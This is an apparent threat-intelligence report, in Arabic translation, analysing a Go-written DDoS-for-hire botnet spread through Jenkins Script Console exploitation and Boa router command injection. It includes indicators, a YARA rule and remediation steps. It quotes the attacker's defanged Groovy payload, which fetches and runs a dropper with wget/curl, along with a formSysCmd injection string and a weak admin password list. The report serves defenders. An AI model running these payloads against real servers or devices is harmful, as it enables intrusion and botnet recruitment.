هذه الصفحة ترجمة. النسخة الإنجليزية هي النص المعتمد. اقرأه بالإنجليزية
malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
شبكة روبوتات DDoS للتأجير مكتوبة بلغة Go وعابرة للمنصات
حلّلت Kinryū Labs الملف bot.exe، وهو نسخة Windows من شبكة روبوتات DDoS مُصرَّفة بلغة Go وموزَّعة على هيئة حزمة إنزال تضم 11 ملفاً تنفيذياً و13 معمارية، وتُسلَّم عبر حملة استغلال لوحدة Jenkins Script Console امتدت أياماً عدة. كشف استطلاع مضيف التخزين المرحلي عن واجهة برمجية عاملة لتأجير هجمات DDoS تتطلب مصادقة، وقناة أوامر SSH مكتوبة بلغة Go، وعائلة من سلالة Mirai مستضافة على المضيف نفسه. نقدّر بثقة عالية أن هذه عملية تجارية لتأجير هجمات DDoS.
بقلم Davis Zheng·
TLP:CLEAR. مُصرَّح بالنشر العام. رُصد بواسطة شبكة مستشعرات مصائد الجذب لدى Kinryū Labs. المؤشرات الواردة أدناه مُبطَّلة الفعالية.
الملخص التنفيذي
- 13نسخة بناء لمعماريات مختلفة، 11 ملفاً تنفيذياً فريداً
- 5أساليب DDoS مُسمّاة، إضافة إلى واجهة برمجية للتأجير
- 3عناوين IP مصدرية منسّقة داخل نطاق /22 واحد
- 2عائلتا شبكات روبوتات على مضيف واحد
bot.exe هو نسخة Windows x86-64 من شبكة روبوتات DDoS مُصرَّفة بلغة Go وموزَّعة على هيئة حزمة إنزال متعددة المعماريات. ويجلب سكربت مصاحب هو bins.sh ثلاث عشرة نسخة معمارية، منها إحدى عشرة نسخة فريدة بعد إزالة التكرار، تشمل x86 بنسختي 32 و64 بت، وأربعة ملامح ARM، وARM64، وAndroid ARM64، وMIPS بترتيبي البايت الكبير والصغير، إلى جانب الملف التنفيذي الخاص بـ Windows. وقد وصلت الحزمة إلى شبكة مصائد الجذب عبر استغلال خادم Jenkins مكشوف.
يضمّ البرنامج الخبيث خمسة أساليب إغراق مُسمّاة (HTTP، ومصافحة TLS، وICMP، وTLS المباشر، وأسلوب حجمي يحمل الاسم VOULT)، وإغراقاً عبر HTTP يبدّل سلاسل User-Agent الخاصة بالمتصفحات وترويسات اللغة المحلية ليشبه حركة المرور المشروعة، وحمولات حقن أوامر تستهدف خادم الويب Boa على أجهزة RealTek SDK بهدف الانتشار الذاتي. وقد كشف استطلاع مضيف التخزين المرحلي على العنوان 185.226.93[.]242 عن واجهة برمجية لتأجير هجمات DDoS تتطلب مصادقة على المنفذ 3333، وخدمة SSH مكتوبة بلغة Go على المنفذ 2222 تعمل كقناة أوامر، وخدمة FTP مجهولة الهوية تُخزِّن عائلة شبكة روبوتات ثانية من سلالة Mirai/Gafgyt.
تُقدّر Kinryū Labs بـثقة عالية أن bot.exe جزء من شبكة روبوتات DDoS خبيثة ذاتية الانتشار ومتعددة المعماريات، تُدار كخدمة تجارية للتأجير. وتستند هذه التقديرات إلى ثلاث نتائج: سلاسل أساليب الهجوم والاستغلال في الملف التنفيذي نفسه؛ وواجهة برمجية عاملة للتأجير على مضيف التخزين المرحلي لدى المشغّل تتحقق من معطيات المهمة وتتطلب مصادقة؛ وبيانات قياس من مصائد الجذب لحملة متواصلة انطلقت من عناوين مصدرية منسّقة تُسلِّم الحزمة.
- bot.exe شبكة روبوتات DDoS عابرة للمنصات مكتوبة بلغة Go. خمس سلاسل سجل مميزة لأساليب الإغراق تحمل معطيات الهدف والمدة، إلى جانب آليات انتحال هوية المتصفح ودعم SOCKS5، وكلها ظاهرة في سلاسل غير مُبهَمة ومؤكَّدة بالواجهة البرمجية العاملة.
- تُدار العملية كخدمة تجارية لتأجير هجمات DDoS. يكشف مضيف التخزين المرحلي واجهة برمجية على المنفذ 3333 تتحقق من معطيات المهمة (
user،psw،host،method،time،port) وترفض بيانات الاعتماد غير الصحيحة. - تنتشر شبكة الروبوتات ذاتياً عبر حقن الأوامر في أجهزة إنترنت الأشياء. يحمل الملف التنفيذي حمولة حقن أوامر ضد
formSysCmdفي Boa، ومساراً لتخمين بيانات دخول أجهزة التوجيه بالقوة الغاشمة، ودالتين مُصدَّرتين هماloginDeviceوloginDeviceCaptcha، ويحقن سطر الإنزال ذاته المسجَّل في سجلات مصائد الجذب. - العناوين المصدرية الثلاثة تعود إلى مشغّل واحد. سلَّمت ثلاثة عناوين داخل
185.226.92[.]0/22حمولات متطابقة بتوقيت منسّق وقائمة بيانات اعتماد مشتركة، ويقدّم عنوانا التسليم والتخزين المرحلي مفاتيح مضيف SSH متطابقة، ما يشير إلى مضيف واحد أو صور منسوخة.
التسليم: حملة متواصلة عبر Jenkins Script Console
سُلِّمت الحزمة عبر استغلال نسخة Jenkins مكشوفة على الإنترنت. وسجّلت بيانات القياس من مصائد الجذب أسلوباً ثابتاً من خطوتين: طلب GET /crumbIssuer/api/json لجلب رمز CSRF، يتبعه POST /script يحمل حمولة Groovy لوحدة Script Console. وكانت الحمولة متطابقة في جميع المحاولات، وهي مُبطَّلة الفعالية هنا:
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
حملت الطلبات ترويسة Authorization: Basic تُبدِّل قاموساً قصيراً من كلمات مرور رقمية ضعيفة لحساب admin (admin:1123، admin:123451، admin:1231231، admin:1111111، admin:12345123)، وهي سمة قائمة بيانات اعتماد آلية لا مصادقة موجَّهة.
استمرت الحملة عدة أيام في موجات متكررة:
- الموجة 1الفحوص الأولى: تحقق من رمز CSRF يتبعه تنفيذ أوامر عن بُعد عبر Groovy، من عنوان التخزين المرحلي ومن عنوان ثانٍ في الكتلة نفسها.
- الرصدرُصد
bins.shوجميع النسخ الثلاث عشرة مرتين، بفارق نحو أربع عشرة ساعة، ومتطابقة بايتاً ببايت في كل مرة. - الموجات اللاحقةاستغلال متزامن من العناوين المصدرية الثلاثة جميعها في غضون دقائق، مع تبديل سلاسل User-Agent.
بدّلت طلبات الاستغلال مجموعة كبيرة من سلاسل User-Agent الواقعية الخاصة بالمتصفحات، في حين استخدم مسح الاستطلاع الباحث عن أهداف Jenkins إضافية (جلب /login يتبعه دفعة سريعة من طلبات /script) القيمة الافتراضية Go-http-client/1.1. سلاسل User-Agent المنتحلة ترافق حمولات الاستغلال، أما الماسح فيستخدم عميل Go الأصلي لشبكة الروبوتات. وقد شارك مضيف التخزين المرحلي والقيادة والتحكم نفسه في الاستغلال، أي أن بنية الهجوم وبنية الاستضافة غير منفصلتين.
البرنامج الخبيث: قاعدة كود Go واحدة، وأحد عشر ملفاً تنفيذياً
كتابة الروبوت بلغة Go تتيح تصريف قاعدة كود واحدة لكل هدف يريده المشغّل. ويمر سكربت الإنزال على خط المنتجات كاملاً، فيجلب كل نسخة بـ wget ثم بـ curl كبديل احتياطي، ويمنحها صلاحية التنفيذ، ويشغّلها، ثم يحذفها. وتتضمن الحزمة ملف .exe خاصاً بـ Windows، ومع ذلك يمرّره سكربت الإنزال على Linux عبر chmod +x، كما تشير البنية المُولَّدة للسكربت إلى خط بناء وسرد آلي. وبعد إزالة التكرار تنخفض النسخ الثلاث عشرة إلى أحد عشر ملفاً تنفيذياً فريداً: نسختا x86 وi386 متطابقتان، وكذلك نسختا ARM العامة وARMv7. ويكشف انتشار المعماريات، من MIPS وARM القديمة حتى Android، عن شبكة روبوتات موجَّهة إلى أجهزة التوجيه والكاميرات وغيرها من الأجهزة المُدمَجة؛ أما نسخة Windows فتحمل الكود ذاته إلى الحواسيب المكتبية والخوادم.
الملف التنفيذي غير محزوم (تقع قيم إنتروبيا أقسام PE بين 5.4 و6.3) وغير مجرَّد من الرموز (معرّف بناء Go ورموز زمن التشغيل سليمة)، ولذلك تظهر قدراته في سلاسل نصية عادية. والطابع الزمني للتصريف مُصفَّر، وهو أمر طبيعي في نسخ Go.
خمسة أساليب إغراق مُسمّاة في سلاسل سجل الملف التنفيذي، ويُصاغ كل منها مع هدف ومدة: إغراق “HTTP (Optimized)”، وإغراق إنهاك المصافحة “Handshake” عبر TLS/TCP، وإغراق “PING” عبر ICMP، وإغراق جلسات “TLS+” المباشر، وأسلوب “VOULT” الحجمي الذي يُرجَّح أنه قائم على UDP. وتتوفر خيارات على مستوى التطبيق وعلى مستوى الشبكة على حد سواء.
بُني إغراق HTTP ليمرّ كحركة مرور مشروعة. فهو يبدّل أكثر من عشر سلاسل User-Agent لمتصفحات Chrome وEdge وOpera وFirefox وSafari على Windows وmacOS وiPad وAndroid؛ وخمس عشرة لغة محلية في Accept-Language؛ وترويسات البصمة sec-fetch-* وsec-ch-ua-* التي تفحصها خدمات التخفيف. ويضبط ترويسة Referer من مجموعة صغيرة من المواقع ذات السمعة العالية (google.com، reddit.com، facebook.com، bing.com، twitter.com، وfbi.gov). وأحد المدخلات في مجموعة User-Agent هو السلسلة الحرفية Hello World، وهي عنصر نائب خاص بالمطوّر يوفّر بصمة كشف نظيفة لأن أي عميل مشروع لا يرسلها.
يستهدف الانتشار خادم الويب Boa، وهو خدمة HTTP مُدمَجة صغيرة لا تزال تُشحن على كثير من أجهزة التوجيه والكاميرات القائمة على RealTek SDK. ويحمل الملف التنفيذي حمولة حقن أوامر ضد معالِج formSysCmd في Boa، ومسار تخمين بالقوة الغاشمة ضد واجهات إدارة أجهزة التوجيه، مع حقول بيانات اعتماد بصيغة JSON والدالتين المُصدَّرتين loginDevice وloginDeviceCaptcha. والأمر المحقون هو سطر الإنزال نفسه، ومن ثَم يصبح الجهاز المُخترَق نقطة تسليم للجهاز التالي.
وحدات Go المُدمَجة كلها حزم golang.org/x القياسية، من دون أي إطار قيادة وتحكم تابع لطرف ثالث. وتشمل chacha20poly1305 وhttp2/hpack وdns/dnsmessage وhttp/httpproxy، بما يوافق القدرات القابلة للرصد: قناة مُعمّاة ومُصادَقة، وHTTP/2، وDNS خام، ووكالة SOCKS5 (السلاسل socks5 وsocks connect وsocksUsernamePassword موجودة). ويُجلب إعداد القيادة والتحكم في زمن التشغيل من hxxp://<C2>/config.dat؛ والعنوان الوحيد المضمَّن بصلابة في الملف التنفيذي هو مضيف التخزين المرحلي.
بنية القيادة والتحكم والتخزين المرحلي
كشف استطلاع مضيف التخزين المرحلي عن الخدمات التالية:
| المنفذ | الخدمة | الغرض |
|---|---|---|
| 21/tcp | vsftpd 3.0.3، تسجيل دخول مجهول مُمكَّن | تخزين مرحلي للبرمجيات الخبيثة (العائلة الثانية، أدناه) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | وصول المشغّل |
| 1001/tcp | خادم Go net/http | التخزين المرحلي الأساسي: يقدّم bins.sh والنسخ |
| 2222/tcp | Go SSH (SSH-2.0-Go) | قناة أوامر الروبوت |
| 3333/tcp | خادم Go net/http | واجهة برمجية لتأجير هجمات DDoS |
تدعم نتيجتان تقدير التأجير. يقدّم عنوان التسليم ومضيف التخزين المرحلي مفاتيح مضيف SSH متطابقة من أنواع ED25519 وRSA وECDSA، ما يضعهما على الجهاز نفسه أو على صور منسوخة من قالب واحد، كما تقدّم خدمة Go SSH على المنفذ 2222 مفتاحاً مختلفاً عن OpenSSH النظامي على المنفذ 22، ما يجعلها تطبيقاً منفصلاً لا مجرد تمرير. وترفض الواجهة البرمجية على المنفذ 3333 أي طلب تنقصه المعطيات (user، psw، host، method، time/duration، port) وتعيد فشل مصادقة لبيانات اعتماد اختبارية، بينما تعيد جميع المسارات الأخرى الرمز 404. وهذه هي الواجهة الدنيا المُصادَقة لكل طلب في خدمة booter تجارية، وتعمل على بنية تحتية حية.
عائلة ثانية على المضيف نفسه
تُخزِّن خدمة FTP مجهولة الهوية عائلة شبكة روبوتات منفصلة، يُشار إليها هنا باسم “boatnet” نسبةً إلى أسماء ملفاتها. ويستخدم سكربت الإنزال الخاص بها (ohshit1.sh) عميل ftpget من BusyBox، ويعيد تسمية كل ملف تنفيذي إلى WTF قبل تشغيله، ويطلق النسخ في الخلفية على خمس عشرة معمارية، منها أهداف مُدمَجة نادرة (ARC، m68k، SH4، SPARC) من سلالة Mirai/Gafgyt. والملفات التنفيذية من نوع ELF مُصرَّفة بلغة C، ومجرَّدة من الرموز، ومحزومة (إنتروبيا بين 7.6 و7.9 من دون توقيع UPX، ما يشير إلى حازم مخصص)، ولذلك لا ينجو إلا القليل من المراجعة الساكنة. وتسبق قطع boatnet حزمة bot.exe زمنياً وتعمل على قاعدة كود غير مرتبطة بها، أي أن مضيفاً واحداً يُخزِّن عائلتي شبكات روبوتات متمايزتين.
الاستضافة
يقع كلا عنواني المهاجم داخل 185.226.92[.]0/22، المسجَّل لدى مزوّد خدمات VPS مقرّه تركيا (اسم الشبكة BIGCORE-US، AS205196 / AS57152) عبر RIPE NCC، وجهة الاتصال للإبلاغ عن إساءة الاستخدام هي abuse@bigcore.net. نحدد مزوّد الاستضافة لأغراض الإبلاغ، ولا نقدّم أي ادعاء بشأن هوية المشغّل.
مؤشرات الاختراق
بنية المهاجم مُبطَّلة الفعالية. أما تجزئات العينات وسلاسل الكشف فتحمل قيماً حية بقصد.
الشبكة
| المؤشر | السياق |
|---|---|
185.226.93[.]242 | مضيف التخزين المرحلي والقيادة والتحكم؛ وماسح نشط أيضاً |
185.226.92[.]110 | الماسح الأساسي / عقدة التسليم |
185.226.92[.]173 | ماسح ثانوي |
185.226.92[.]0/22 | تخصيص الاستضافة (BIGCORE، AS205196). حجب محيطي معقول |
185.226.93[.]242:1001 | تخزين مرحلي عبر HTTP (bins.sh والنسخ) |
185.226.93[.]242:2222 | قناة أوامر Go SSH |
185.226.93[.]242:3333 | واجهة برمجية لتأجير هجمات DDoS (/api، مشروطة بالمعطيات) |
185.226.93[.]242:21 | FTP مجهول الهوية، تخزين مرحلي لـ boatnet |
hxxp://<C2>/config.dat | نمط جلب إعداد القيادة والتحكم في زمن التشغيل |
/boafrm/formSysCmd، /boafrm/formLogin | معرّفات URI لتنفيذ الأوامر عن بُعد في Boa وتخمين تسجيل الدخول، في الانتشار الصادر |
مفتاح مضيف SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | مشترك بين عنواني التسليم والقيادة والتحكم؛ مؤشر ارتكاز |
الملفات
| الملف | SHA-256 |
|---|---|
bot.exe (Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh (سكربت الإنزال) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali (i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl (x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- bot.exe MD5 / SHA-1 / imphash:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - معرّف بناء Go:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
تجزئات حزمة الإنزال الكاملة (11 فريداً من 13 نسخة بناء)
| النسخة | SHA-256 | الحجم (بايت) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
قطع المضيف وبيانات الاعتماد
- قاموس تخمين حساب
adminفي Jenkins بالقوة الغاشمة:1123،123451،1231231،1111111،12345123. ohshit1.sh(سكربت إنزال boatnet)، وملف تنفيذي أُعيد تسميته إلىWTFقبل التشغيل.- سلاسل User-Agent مميزة:
Hello World(إغراق HTTP من الروبوت) وGo-http-client/1.1(المسح الذاتي للروبوت).
السلوكية
- طلب
GET /crumbIssuer/api/jsonفي Jenkins يتبعهPOST /scriptيحمل حمولة Groovy من نوعProcessBuilder('sh','-c', …)تجلبbins.sh. - طلبات صادرة إلى مضيف تحت
/config.dat، يسبقها سطر السجلConnecting to CNC.... - طلب وارد
POST /boafrm/formSysCmdيحملsysCmdselect=5وجسماً فيهwget … bins.sh.
الكشف
السلاسل ثابتة وغير مُبهَمة، ولذلك فإن بناء البصمات مباشر. وقاعدة YARA أدناه قاعدة مرشَّحة بُنيت من سلاسل مُتحقَّق منها؛ تحقق منها قبل النشر.
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
الكشف الشبكي:
- Jenkins: أنشئ تنبيهاً على أجسام
POST /scriptالتي تحتوي علىProcessBuilderمعwget/curlإلى عنوان IP خام، خصوصاً إذا سبقهاGET /crumbIssuer/api/json. - انتشار إنترنت الأشياء:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";. - البنية التحتية: احجب
185.226.92[.]0/22، وهو يغطي عنواني التسليم والقيادة والتحكم، وأنشئ تنبيهاً على الاتصالات الصادرة إلى المنافذ 1001 و2222 و3333 في هذا النطاق.
المعالجة
- لا تكشف Jenkins على الإنترنت. ضعه خلف مصادقة وعزل شبكي، وعطّل Script Console لغير المسؤولين، وتعامل مع أي خادم بناء قابل للوصول على أنه خطر اختراق كامل للمضيف. هذا هو ناقل التسليم الذي استُخدم.
- افرض بيانات اعتماد قوية في Jenkins وحدّد معدل محاولات المصادقة. اعتمدت الحملة على قاموس قصير من كلمات المرور الرقمية الضعيفة لحساب
admin. - اعزل أو استبدل أجهزة التوجيه وأجهزة إنترنت الأشياء القائمة على RealTek/Boa، واحجب الوصول الخارجي إلى واجهات إدارتها. فهي هدف انتشار شبكة الروبوتات.
- احجب تخصيص الاستضافة (
185.226.92[.]0/22) على المحيط، وأنشئ تنبيهاً على معرّف URI الخاص بتنفيذ الأوامر عن بُعد في Boa وعلى نمط جلبconfig.dat. - رشّح حركة المرور الصادرة. أي مضيف يتصل بعنوان IP خام على المنفذ 1001 لجلب ملفات مسمّاة بأسماء معماريات، أو يتصل بالمنفذين 2222 أو 3333 في هذا النطاق، هو شاذ وقابل للرصد حيث لا يتوفر كشف على مستوى المضيف.
- أبلغ عن البنية التحتية. يمكن الإبلاغ عن الواجهة البرمجية لتأجير هجمات DDoS وعن البرمجيات الخبيثة المخزَّنة عبر FTP إلى جهة الاتصال المعنية بإساءة الاستخدام لدى مزوّد الاستضافة (
abuse@bigcore.net).
الربط بإطار MITRE ATT&CK
| التكتيك | التقنية |
|---|---|
| الوصول المبدئي | T1190 استغلال تطبيق مكشوف للعامة (Jenkins Script Console؛ وformSysCmd في Boa للانتشار) |
| الوصول إلى بيانات الاعتماد | T1110.001 القوة الغاشمة: تخمين كلمات المرور (حساب admin في Jenkins)؛ T1110.004 حشو بيانات الاعتماد (تسجيل الدخول إلى أجهزة إنترنت الأشياء) |
| التنفيذ | T1059 مفسّر الأوامر والسكربتات (Groovy عبر Script Console؛ سكربت إنزال بصدفة Unix) |
| الاستكشاف | T1046 مسح خدمات الشبكة (المسح الذاتي لـ Jenkins/إنترنت الأشياء)؛ T1082 استكشاف معلومات النظام؛ T1057 استكشاف العمليات |
| التحايل على الدفاعات | T1036 التنكّر (تبديل سلاسل User-Agent للمتصفحات؛ إعادة تسمية boatnet إلى WTF) |
| القيادة والتحكم | T1071.001 بروتوكولات الويب (config.dat)؛ T1573 قناة مُعمّاة (ChaCha20-Poly1305؛ Go SSH على المنفذ 2222)؛ T1571 منفذ غير قياسي (1001/2222/3333)؛ T1090.001 وكيل داخلي: SOCKS |
| الحركة الجانبية / التسليم | T1105 نقل الأدوات إلى الداخل (تخزين مرحلي متعدد المعماريات) |
| التأثير | T1498.001 إغراق شبكي مباشر (PING، VOULT)؛ T1498.002 تضخيم بالانعكاس (إنهاك المصافحة) |
المنهجية وملاحظات
- النطاق: تحليل ساكن للملفات التنفيذية المرصودة، والتي لم تُشغَّل، واستطلاع خارجي نشط لمضيف التخزين المرحلي (تعداد الخدمات ولافتاتها، وسرد محتوى FTP المجهول، وفحص غير مُصادَق للواجهة البرمجية على المنفذ 3333). لم يتم تجاوز أي مصادقة.
- قاعدة YARA قاعدة مرشَّحة بُنيت من سلاسل مُتحقَّق منها؛ تحقق منها قبل النشر. أما ملفات boatnet التنفيذية فهي محزومة ولم تُنتج سوى سلاسل قليلة.
- العينات (حزمة bot.exe، وسكربت الإنزال، وقطع boatnet) متاحة للباحثين والمدافعين الآخرين عند الطلب. راسلنا على contact@kinryu.sh مع ملاحظة موجزة عن هويتك والغرض من طلبها.